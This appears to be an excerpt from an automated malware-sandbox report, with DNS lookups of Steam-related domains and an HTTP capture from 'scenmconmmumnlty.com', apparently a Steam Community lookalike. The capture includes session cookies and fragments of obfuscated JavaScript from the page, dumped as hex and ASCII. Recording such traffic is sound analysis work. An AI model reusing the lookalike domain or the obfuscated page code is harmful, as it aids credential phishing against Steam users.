Sep 29, 2024 02:41:39.825331926 CEST	1.1.1.1	192.168.2.5	0xb382	No error (0)	store.akamai.steamstatic.com		2.16.168.6	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:41.522559881 CEST	1.1.1.1	192.168.2.5	0x40b	No error (0)	recaptcha.net		142.250.74.195	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:41.532061100 CEST	1.1.1.1	192.168.2.5	0xc7bb	No error (0)	store.steampowered.com		95.101.149.47	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:41.691571951 CEST	1.1.1.1	192.168.2.5	0x67a5	No error (0)	cdn.akamai.steamstatic.com		2.16.168.4	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:41.691571951 CEST	1.1.1.1	192.168.2.5	0x67a5	No error (0)	cdn.akamai.steamstatic.com		2.16.168.12	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:42.531667948 CEST	1.1.1.1	192.168.2.5	0x5333	No error (0)	recaptcha.net		142.250.184.227	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:42.841670036 CEST	1.1.1.1	192.168.2.5	0xc2b5	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:44.453783035 CEST	1.1.1.1	192.168.2.5	0xadc1	No error (0)	cdn.akamai.steamstatic.com		2.19.126.89	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:44.453783035 CEST	1.1.1.1	192.168.2.5	0xadc1	No error (0)	cdn.akamai.steamstatic.com		2.19.126.73	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:45.482491016 CEST	1.1.1.1	192.168.2.5	0xe4a7	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:45.482491016 CEST	1.1.1.1	192.168.2.5	0xe4a7	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:41:46.110292912 CEST	1.1.1.1	192.168.2.5	0x180b	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:41:46.110292912 CEST	1.1.1.1	192.168.2.5	0x180b	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:02.766400099 CEST	1.1.1.1	192.168.2.5	0xc545	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:42:02.766400099 CEST	1.1.1.1	192.168.2.5	0xc545	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:05.840733051 CEST	1.1.1.1	192.168.2.5	0x181c	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:42:05.841258049 CEST	1.1.1.1	192.168.2.5	0x225b	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:42:06.743582010 CEST	1.1.1.1	192.168.2.5	0x2e9	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:42:06.743601084 CEST	1.1.1.1	192.168.2.5	0x4eed	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:42:07.196777105 CEST	1.1.1.1	192.168.2.5	0xe108	No error (0)	fonts.cdnfonts.com		104.21.72.124	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:07.196777105 CEST	1.1.1.1	192.168.2.5	0xe108	No error (0)	fonts.cdnfonts.com		172.67.184.158	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:07.196787119 CEST	1.1.1.1	192.168.2.5	0xac1e	No error (0)	fonts.cdnfonts.com			65	IN (0x0001)	false
Sep 29, 2024 02:42:10.019927025 CEST	1.1.1.1	192.168.2.5	0x643b	No error (0)	community.cloudflare.steamstatic.com			65	IN (0x0001)	false
Sep 29, 2024 02:42:10.020813942 CEST	1.1.1.1	192.168.2.5	0x1fb6	No error (0)	community.cloudflare.steamstatic.com		172.64.145.151	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:10.020813942 CEST	1.1.1.1	192.168.2.5	0x1fb6	No error (0)	community.cloudflare.steamstatic.com		104.18.42.105	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:10.023140907 CEST	1.1.1.1	192.168.2.5	0x4f8e	No error (0)	community.akamai.steamstatic.com		2.16.168.12	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:10.023140907 CEST	1.1.1.1	192.168.2.5	0x4f8e	No error (0)	community.akamai.steamstatic.com		2.16.168.11	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:10.635205030 CEST	1.1.1.1	192.168.2.5	0xd0b6	No error (0)	community.cloudflare.steamstatic.com		104.18.42.105	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:10.635205030 CEST	1.1.1.1	192.168.2.5	0xd0b6	No error (0)	community.cloudflare.steamstatic.com		172.64.145.151	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:10.637265921 CEST	1.1.1.1	192.168.2.5	0xc2f4	No error (0)	community.cloudflare.steamstatic.com			65	IN (0x0001)	false
Sep 29, 2024 02:42:10.954807997 CEST	1.1.1.1	192.168.2.5	0x42f2	No error (0)	community.akamai.steamstatic.com		2.16.168.12	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:10.954807997 CEST	1.1.1.1	192.168.2.5	0x42f2	No error (0)	community.akamai.steamstatic.com		2.16.168.11	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:11.884954929 CEST	1.1.1.1	192.168.2.5	0xe243	No error (0)	store.steampowered.com		95.101.149.47	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:13.172270060 CEST	1.1.1.1	192.168.2.5	0x4f13	No error (0)	store.akamai.steamstatic.com		95.101.54.217	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:13.172270060 CEST	1.1.1.1	192.168.2.5	0x4f13	No error (0)	store.akamai.steamstatic.com		95.101.54.105	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:23.273595095 CEST	1.1.1.1	192.168.2.5	0x36a	No error (0)	login.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:24.380474091 CEST	1.1.1.1	192.168.2.5	0x6f87	No error (0)	store.steampowered.com		95.101.149.47	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:24.466952085 CEST	1.1.1.1	192.168.2.5	0x3e1e	No error (0)	api.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:24.518233061 CEST	1.1.1.1	192.168.2.5	0xc178	No error (0)	login.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:25.758755922 CEST	1.1.1.1	192.168.2.5	0x6d76	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:42:25.758755922 CEST	1.1.1.1	192.168.2.5	0x6d76	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:25.972376108 CEST	1.1.1.1	192.168.2.5	0x3d3c	No error (0)	api.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:31.189990044 CEST	1.1.1.1	192.168.2.5	0x136b	No error (0)	help.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:33.939184904 CEST	1.1.1.1	192.168.2.5	0xa4c0	No error (0)	help.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:35.627473116 CEST	1.1.1.1	192.168.2.5	0x46e8	No error (0)	cdn.akamai.steamstatic.com		2.16.238.151	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:35.627473116 CEST	1.1.1.1	192.168.2.5	0x46e8	No error (0)	cdn.akamai.steamstatic.com		2.16.238.140	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:35.628478050 CEST	1.1.1.1	192.168.2.5	0x2d54	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:35.629257917 CEST	1.1.1.1	192.168.2.5	0x7d3d	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 29, 2024 02:42:37.400612116 CEST	1.1.1.1	192.168.2.5	0xf8d6	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:37.400912046 CEST	1.1.1.1	192.168.2.5	0xc856	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 29, 2024 02:42:42.858468056 CEST	1.1.1.1	192.168.2.5	0x55fa	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:43.356021881 CEST	1.1.1.1	192.168.2.5	0xc729	No error (0)	store.akamai.steamstatic.com		2.16.168.5	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:43.356021881 CEST	1.1.1.1	192.168.2.5	0xc729	No error (0)	store.akamai.steamstatic.com		2.16.168.6	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:43.597024918 CEST	1.1.1.1	192.168.2.5	0x5c14	No error (0)	shared.akamai.steamstatic.com	shared.akamai.steamstatic.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:42:43.606307983 CEST	1.1.1.1	192.168.2.5	0x92ac	No error (0)	shared.akamai.steamstatic.com	shared.akamai.steamstatic.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:42:43.769737959 CEST	1.1.1.1	192.168.2.5	0xdcf3	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:42:43.769737959 CEST	1.1.1.1	192.168.2.5	0xdcf3	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:45.609504938 CEST	1.1.1.1	192.168.2.5	0x472c	No error (0)	cdn.akamai.steamstatic.com		2.16.168.4	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:45.609504938 CEST	1.1.1.1	192.168.2.5	0x472c	No error (0)	cdn.akamai.steamstatic.com		2.16.168.12	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:42:45.634871960 CEST	1.1.1.1	192.168.2.5	0x447	No error (0)	shared.akamai.steamstatic.com	shared.akamai.steamstatic.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:42:45.635030031 CEST	1.1.1.1	192.168.2.5	0x1ecf	No error (0)	shared.akamai.steamstatic.com	shared.akamai.steamstatic.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:41:33 UTC	682	OUT	GET /close/geting/active HTTP/1.1 Host: scenmconmmumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:41:33 UTC	1264	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:41:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Set-Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.7FwGvQuffRuRMmMe-9IzqtSxnzc4vOCo.OHHxsye8vXgoBs21.U2goMglmMnfaZ3w18AYfRq5j7u3YTTj9kfxVSgGOw_fXivu-X_7cLHyQaQCFkIfJDytEO8sJYhdXjin72r6h8GLiebnQsoDYhYW6wwKuEiEA4kJjs-SVOOMR7V_1UEE-oEdHn1s2RITTk4o2uUrY72Hjz9lIrjh71SRdDVLac9gtYrL-FV67_lSnU1V4mwNsBuhMkeU0MmrNicqAx_rPmgVLtlNWC8Lw5NCCz2n7UDkPGTTGj7Ro.dJJoGrF4Bw7qrsf3RfMvdw; Path=/; Expires=Sun, 29 Sep 2024 04:41:33 GMT; SameSite=Lax Set-Cookie: token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjUzNDU4NzdjMWM5YjExYzFjNjA4YzIwMTA2MGVkN2I1Iiwic2VydmljZSI6IlN0ZWFtIn0.5VcVK6mtwkVDMR8HF0lQwiEaGSuFpCUuu5NzPcptdd8; Path=/; Expires=Sun, 29 Sep 2024 04:41:33 GMT; SameSite=Lax Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC
2024-09-29 00:41:33 UTC	428	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 77 4b 50 57 57 32 64 45 33 48 41 4e 79 77 5a 46 6d 4f 46 59 6a 4e 30 62 34 6f 62 49 52 36 54 44 77 34 79 76 70 45 78 75 70 51 73 47 34 32 57 68 5a 4d 76 4b 46 4b 34 35 36 4e 31 70 33 71 63 62 56 64 6a 63 5a 48 59 72 48 44 25 32 46 31 78 4f 41 62 45 37 62 41 74 45 44 59 54 4c 4b 59 76 42 54 34 70 42 44 74 55 35 68 70 4c 39 58 38 65 75 64 6e 4c 35 50 41 46 67 66 59 6b 33 25 32 46 71 4c 34 59 4a 70 56 68 59 4d 51 46 78 54 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wKPWW2dE3HANywZFmOFYjN0b4obIR6TDw4yvpExupQsG42WhZMvKFK456N1p3qcbVdjcZHYrHD%2F1xOAbE7bAtEDYTLKYvBT4pBDtU5hpL9X8eudnL5PAFgfYk3%2FqL4YJpVhYMQFxTA%3D%3D"}],"group":"cf-nel","max_age
2024-09-29 00:41:33 UTC	1369	IN	Data Raw: 35 33 38 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 3e 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0a 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 Data Ascii: 5380<!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><style> html, body { padding: 0; margin: 0; height: 100vh; width:
2024-09-29 00:41:33 UTC	1369	IN	Data Raw: 62 5d 6e 27 2c 27 31 69 52 65 2a 38 28 58 23 34 70 56 3d 77 43 52 65 3a 5a 62 56 30 40 30 35 52 33 3c 53 61 52 6f 6c 6c 3d 3a 53 27 2c 27 5d 47 58 30 39 38 5b 3f 7a 35 35 4f 24 5e 28 66 5e 25 71 2e 3b 79 3e 3a 2a 4e 21 37 61 5b 74 54 54 75 64 48 32 5d 67 59 56 54 27 2c 27 2e 7a 30 4b 38 77 7a 54 74 37 6a 69 2c 6d 45 72 6a 32 5e 67 45 3a 66 64 5a 25 3e 57 62 79 7d 57 27 2c 27 33 7a 2b 78 23 6e 43 6b 38 37 69 3f 41 2e 59 71 6f 52 69 3b 72 23 3e 75 5e 38 4a 25 48 5d 3c 6d 6f 55 2a 2c 6a 60 5b 48 61 4f 27 2c 27 58 50 55 3d 3e 5b 61 43 27 2c 27 52 4a 79 67 55 37 21 43 27 2c 27 32 58 30 31 6e 76 7b 59 3c 21 74 2f 42 27 2c 27 64 50 45 3d 76 29 53 43 27 2c 27 65 50 29 31 66 2c 79 43 27 2c 27 3c 34 65 4a 6c 76 25 4e 72 52 27 2c 27 57 7a 7c 47 79 3b 55 36 59 4e 27 Data Ascii: b]n','1iRe8(X#4pV=wCRe:ZbV0@05R3<SaRoll=:S',']GX098[?z55O$^(f^%q.;y>:N!7a[tTTudH2]gYVT','.z0K8wzTt7ji,mErj2^gE:fdZ%>Wby}W','3z+x#nCk87i?A.YqoRi;r#>u^8J%H]<moU*,j`[HaO','XPU=>[aC','RJygU7!C','2X01nv{Y<!t/B','dPE=v)SC','eP)1f,yC','<4eJlv%NrR','Wz\|Gy;U6YN'
2024-09-29 00:41:33 UTC	1369	IN	Data Raw: 51 61 4b 68 2b 30 78 31 63 3a 59 7a 51 61 4b 68 3e 30 78 31 31 3f 59 7a 51 61 4b 68 3c 30 78 35 34 3f 59 7a 51 61 4b 68 3e 30 78 35 34 3f 59 7a 51 61 4b 68 2b 30 78 63 3a 59 7a 51 61 4b 68 3e 30 78 31 31 3f 59 7a 51 61 4b 68 3e 30 78 31 31 3f 59 7a 51 61 4b 68 3c 30 78 35 34 3f 59 7a 51 61 4b 68 3e 30 78 35 34 3f 59 7a 51 61 4b 68 2d 30 78 31 3a 59 7a 51 61 4b 68 2d 30 78 31 32 3a 59 7a 51 61 4b 68 2b 30 78 33 39 3a 59 7a 51 61 4b 68 2b 30 78 34 64 3a 59 7a 51 61 4b 68 2d 30 78 32 33 3a 59 7a 51 61 4b 68 2b 30 78 32 34 3a 59 7a 51 61 4b 68 2b 30 78 35 5d 7d 76 61 72 20 7a 4c 31 34 63 67 66 2c 56 4e 72 6e 50 65 4a 3b 76 6f 69 64 28 5a 59 4d 39 76 79 79 3d 59 7a 51 61 4b 68 5b 54 79 48 5a 7a 76 62 28 30 78 35 35 29 5d 2c 72 38 42 71 5f 75 39 5b 56 35 50 6a Data Ascii: QaKh+0x1c:YzQaKh>0x11?YzQaKh<0x54?YzQaKh>0x54?YzQaKh+0xc:YzQaKh>0x11?YzQaKh>0x11?YzQaKh<0x54?YzQaKh>0x54?YzQaKh-0x1:YzQaKh-0x12:YzQaKh+0x39:YzQaKh+0x4d:YzQaKh-0x23:YzQaKh+0x24:YzQaKh+0x5]}var zL14cgf,VNrnPeJ;void(ZYM9vyy=YzQaKh[TyHZzvb(0x55)],r8Bq_u9[V5Pj
2024-09-29 00:41:33 UTC	1369	IN	Data Raw: 2c 56 4e 72 6e 50 65 4a 3d 7b 5b 54 79 48 5a 7a 76 62 28 30 78 35 64 29 5d 3a 4a 77 41 6b 54 51 28 30 78 31 37 29 2c 49 75 36 58 47 4e 75 3a 4a 77 41 6b 54 51 28 30 78 32 66 29 2c 5b 54 79 48 5a 7a 76 62 28 30 78 36 39 29 5d 3a 4a 77 41 6b 54 51 28 30 78 33 31 29 2c 5b 54 79 48 5a 7a 76 62 28 30 78 36 66 29 5d 3a 4a 77 41 6b 54 51 28 30 78 66 29 7d 2c 72 76 42 35 69 31 66 3d 41 73 63 74 64 6d 28 28 29 3d 3e 7b 76 61 72 20 4f 6b 4d 6d 47 6e 2c 75 72 31 47 46 57 2c 72 38 42 71 5f 75 39 3b 66 75 6e 63 74 69 6f 6e 20 59 7a 51 61 4b 68 28 4f 6b 4d 6d 47 6e 29 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 4f 6b 4d 6d 47 6e 3c 30 78 31 35 3f 4f 6b 4d 6d 47 6e 2d 30 78 32 36 3a 4f 6b 4d 6d 47 6e 2d 30 78 31 36 5d 7d 74 79 70 65 6f 66 28 4f 6b 4d 6d 47 6e 3d 4a 77 Data Ascii: ,VNrnPeJ={[TyHZzvb(0x5d)]:JwAkTQ(0x17),Iu6XGNu:JwAkTQ(0x2f),[TyHZzvb(0x69)]:JwAkTQ(0x31),[TyHZzvb(0x6f)]:JwAkTQ(0xf)},rvB5i1f=Asctdm(()=>{var OkMmGn,ur1GFW,r8Bq_u9;function YzQaKh(OkMmGn){return uBmvIT[OkMmGn<0x15?OkMmGn-0x26:OkMmGn-0x16]}typeof(OkMmGn=Jw
2024-09-29 00:41:33 UTC	1369	IN	Data Raw: 4a 54 55 3d 5b 4a 77 41 6b 54 51 28 30 78 31 32 29 2c 4a 77 41 6b 54 51 28 30 78 32 31 29 2c 4a 77 41 6b 54 51 28 30 78 32 35 29 5d 2c 5a 59 4d 39 76 79 79 3d 7b 5b 47 6e 72 69 64 70 67 28 2d 30 78 33 32 29 5d 3a 4a 77 41 6b 54 51 28 47 6e 72 69 64 70 67 28 2d 30 78 31 29 29 7d 29 3b 63 6f 6e 73 74 20 72 76 42 35 69 31 66 3d 5b 5a 59 4d 39 76 79 79 5b 54 79 48 5a 7a 76 62 28 30 78 35 39 29 5d 2c 4a 77 41 6b 54 51 28 30 78 31 31 29 2c 75 34 63 4a 54 55 5b 30 78 30 5d 2c 4a 77 41 6b 54 51 2e 61 70 70 6c 79 28 54 79 48 5a 7a 76 62 28 30 78 35 65 29 2c 5b 30 78 31 33 5d 29 2c 4a 77 41 6b 54 51 28 30 78 31 34 29 2c 4a 77 41 6b 54 51 28 47 6e 72 69 64 70 67 28 2d 30 78 33 31 29 29 2c 4a 77 41 6b 54 51 28 30 78 31 35 29 2c 4a 77 41 6b 54 51 28 47 6e 72 69 64 70 Data Ascii: JTU=[JwAkTQ(0x12),JwAkTQ(0x21),JwAkTQ(0x25)],ZYM9vyy={[Gnridpg(-0x32)]:JwAkTQ(Gnridpg(-0x1))});const rvB5i1f=[ZYM9vyy[TyHZzvb(0x59)],JwAkTQ(0x11),u4cJTU[0x0],JwAkTQ.apply(TyHZzvb(0x5e),[0x13]),JwAkTQ(0x14),JwAkTQ(Gnridpg(-0x31)),JwAkTQ(0x15),JwAkTQ(Gnridp
2024-09-29 00:41:33 UTC	1369	IN	Data Raw: 6b 4d 6d 47 6e 2d 30 78 33 35 3a 4f 6b 4d 6d 47 6e 2d 30 78 35 33 5d 7d 75 34 63 4a 54 55 3d 4a 77 41 6b 54 51 28 5a 59 4d 39 76 79 79 28 30 78 31 66 29 29 3b 74 72 79 7b 76 61 72 20 47 6e 72 69 64 70 67 3d 41 73 63 74 64 6d 28 4f 6b 4d 6d 47 6e 3d 3e 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 4f 6b 4d 6d 47 6e 3c 2d 30 78 31 61 3f 4f 6b 4d 6d 47 6e 2d 30 78 31 35 3a 4f 6b 4d 6d 47 6e 2b 30 78 31 39 5d 7d 2c 30 78 31 29 3b 63 6f 6e 73 74 20 56 35 50 6a 63 31 67 3d 4b 37 65 76 70 33 28 4b 37 65 76 70 33 28 70 61 72 73 65 49 6e 74 28 72 38 42 71 5f 75 39 28 30 78 31 61 31 2c 30 78 31 61 34 29 29 2c 66 52 73 75 67 5f 37 28 2d 30 78 31 36 29 29 2f 47 6e 72 69 64 70 67 28 2d 30 78 39 29 2b 70 61 72 73 65 49 6e 74 28 72 38 42 71 5f 75 39 28 30 78 31 61 34 2c Data Ascii: kMmGn-0x35:OkMmGn-0x53]}u4cJTU=JwAkTQ(ZYM9vyy(0x1f));try{var Gnridpg=Asctdm(OkMmGn=>{return uBmvIT[OkMmGn<-0x1a?OkMmGn-0x15:OkMmGn+0x19]},0x1);const V5Pjc1g=K7evp3(K7evp3(parseInt(r8Bq_u9(0x1a1,0x1a4)),fRsug_7(-0x16))/Gnridpg(-0x9)+parseInt(r8Bq_u9(0x1a4,
2024-09-29 00:41:33 UTC	1369	IN	Data Raw: 6d 47 6e 3d 3e 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 4f 6b 4d 6d 47 6e 3e 30 78 31 33 3f 4f 6b 4d 6d 47 6e 2d 30 78 31 34 3a 4f 6b 4d 6d 47 6e 2d 30 78 33 37 5d 7d 2c 30 78 31 29 3b 64 6f 63 75 6d 65 6e 74 5b 4a 77 41 6b 54 51 28 59 6f 38 61 39 4d 59 28 30 78 33 63 29 29 5d 5b 43 4b 45 68 52 43 28 30 78 33 33 2c 54 79 48 5a 7a 76 62 28 30 78 38 31 29 29 5d 3d 43 4b 45 68 52 43 28 59 6f 38 61 39 4d 59 28 30 78 32 35 29 2c 54 79 48 5a 7a 76 62 28 30 78 36 30 29 29 7d 66 75 6e 63 74 69 6f 6e 20 42 47 49 6b 6a 64 28 29 7b 76 61 72 20 4f 6b 4d 6d 47 6e 3d 41 73 63 74 64 6d 28 75 72 31 47 46 57 3d 3e 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 75 72 31 47 46 57 3e 30 78 36 33 3f 75 72 31 47 46 57 2b 30 78 36 3a 75 72 31 47 46 57 3c 30 78 32 30 3f 75 72 Data Ascii: mGn=>{return uBmvIT[OkMmGn>0x13?OkMmGn-0x14:OkMmGn-0x37]},0x1);document[JwAkTQ(Yo8a9MY(0x3c))][CKEhRC(0x33,TyHZzvb(0x81))]=CKEhRC(Yo8a9MY(0x25),TyHZzvb(0x60))}function BGIkjd(){var OkMmGn=Asctdm(ur1GFW=>{return uBmvIT[ur1GFW>0x63?ur1GFW+0x6:ur1GFW<0x20?ur
2024-09-29 00:41:33 UTC	1369	IN	Data Raw: 46 57 2d 30 78 33 31 3a 75 72 31 47 46 57 2b 30 78 31 39 3a 75 72 31 47 46 57 2d 30 78 32 39 3a 75 72 31 47 46 57 2d 30 78 32 37 5d 7d 2c 30 78 31 29 3b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 5b 75 72 31 47 46 57 28 4b 37 65 76 70 33 28 30 78 39 39 2c 66 52 73 75 67 5f 37 28 2d 30 78 31 36 29 29 2c 4b 37 65 76 70 33 28 30 78 39 30 2c 66 52 73 75 67 5f 37 28 2d 4f 6b 4d 6d 47 6e 28 30 78 33 61 29 29 29 29 5d 5b 75 72 31 47 46 57 28 4b 37 65 76 70 33 28 54 79 48 5a 7a 76 62 28 30 78 36 38 29 2c 68 43 75 79 5a 61 3d 2d 30 78 31 36 29 2c 4b 37 65 76 70 33 28 30 78 39 30 2c 66 52 73 75 67 5f 37 28 2d 4f 6b 4d 6d 47 6e 28 30 78 33 61 29 29 29 29 5d 28 29 7d 2c 54 79 48 5a 7a 76 62 28 30 78 37 39 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4a 6d 66 48 61 54 28 4f 6b Data Ascii: FW-0x31:ur1GFW+0x19:ur1GFW-0x29:ur1GFW-0x27]},0x1);return window[ur1GFW(K7evp3(0x99,fRsug_7(-0x16)),K7evp3(0x90,fRsug_7(-OkMmGn(0x3a))))][ur1GFW(K7evp3(TyHZzvb(0x68),hCuyZa=-0x16),K7evp3(0x90,fRsug_7(-OkMmGn(0x3a))))]()},TyHZzvb(0x79)))}function JmfHaT(Ok
